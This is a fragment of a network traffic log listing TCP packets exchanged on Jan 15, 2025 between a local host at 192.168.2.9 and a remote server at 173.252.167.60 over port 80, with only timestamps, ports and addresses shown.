Jan 15, 2025 13:21:14.056032896 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056061983 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056088924 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056094885 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056118965 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056122065 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056147099 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056185007 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056190014 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056221962 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056243896 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056266069 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056293011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056334019 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056346893 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056363106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056392908 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056397915 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056420088 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056461096 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056478977 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056487083 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056515932 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056535959 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056545019 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056577921 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056598902 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056607008 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056646109 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056668997 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056680918 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056719065 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056729078 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056755066 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056792021 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056828976 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056830883 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056830883 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.056871891 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056911945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056953907 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.056992054 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057032108 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057071924 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057079077 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057079077 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057079077 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057111025 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057152033 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057183981 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057192087 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057234049 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057274103 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057312012 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057353973 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057393074 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057401896 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057401896 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057401896 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057432890 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057465076 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057496071 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057502985 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057527065 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057555914 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057557106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057589054 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057620049 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057650089 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057681084 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057688951 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057688951 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057712078 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057743073 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057750940 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057775974 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057806969 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057817936 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057837963 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057876110 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057900906 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057917118 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057930946 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.057959080 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.057997942 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058034897 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058037996 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058077097 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058115959 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058156013 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058196068 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058234930 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058240891 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058242083 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058242083 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058274984 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058314085 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058352947 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058393002 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058439970 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058470964 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058470964 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058481932 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058487892 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058523893 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058562994 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058602095 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058639050 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.058640957 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.058681965 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.059339046 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.059339046 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142083883 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142112017 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142132044 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142143965 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142163038 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142163038 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142175913 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142189980 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142200947 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142213106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142215014 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142234087 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142234087 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142249107 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142266989 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142272949 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142280102 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142286062 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142302990 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142303944 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142303944 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142316103 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142328024 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142343998 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142349005 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142362118 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142373085 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142396927 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142404079 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142416954 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142429113 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142452002 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142472029 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142472982 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142498970 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142508030 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142524958 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142529964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142537117 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142541885 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142546892 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142553091 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142587900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142592907 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142599106 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142604113 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142611027 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142653942 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142719984 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142730951 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142738104 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142745972 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142759085 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142770052 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142776966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142787933 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142795086 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142802000 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142822027 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142879009 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142879009 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.142904043 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142915964 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142923117 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142932892 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142939091 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.142985106 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143013000 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143021107 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143033028 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143049955 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143063068 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143074036 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143085003 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143086910 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143098116 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143136978 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143136978 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143184900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143197060 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143208981 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143215895 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143219948 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143233061 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143237114 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143249035 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143280983 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143280983 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143287897 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143301010 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143397093 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143610001 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143629074 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143640041 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143651009 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143661022 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143681049 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143687963 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143687963 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143693924 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143706083 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143711090 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143722057 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143731117 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143742085 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143753052 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143763065 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143769026 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143769979 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143769979 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143781900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143794060 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143804073 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143804073 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143812895 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143826962 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143837929 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143848896 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143858910 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143872023 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143874884 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143874884 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143886089 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143898010 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143908978 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143919945 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143933058 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143934011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143933058 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143961906 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143975019 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.143975019 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143987894 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.143999100 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144011021 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144013882 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144021988 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144036055 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144047976 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144062042 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144074917 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144074917 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144074917 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144083023 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144095898 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144108057 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144119024 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144119978 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144133091 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144145966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144151926 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144151926 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144159079 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144174099 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144185066 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.144228935 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.144228935 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230106115 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230148077 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230174065 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230190039 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230206966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230215073 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230232954 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230241060 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230252028 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230268955 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230277061 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230287075 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230308056 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230313063 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230330944 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230345011 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230364084 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230369091 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230380058 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230381966 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230400085 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230410099 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230426073 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230428934 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230443001 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230453968 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230458975 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230467081 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230480909 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230492115 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230503082 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230511904 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230523109 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230535030 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230540037 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230541945 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230551958 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230572939 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230585098 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230600119 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230612040 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230631113 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230643034 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230654001 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230652094 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230652094 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230667114 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230653048 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230653048 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230679989 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230693102 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230705023 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230719090 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230746031 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230751991 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230751991 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230751991 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230760098 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230773926 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230779886 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230789900 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230801105 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230813026 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230825901 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230825901 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230839014 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230859041 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230873108 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230885029 CET	80	49747	173.252.167.60	192.168.2.9
Jan 15, 2025 13:21:14.230895042 CET	49747	80	192.168.2.9	173.252.167.60
Jan 15, 2025 13:21:14.230895996 CET	49747	80	192.168.2.9	173.252.167.60
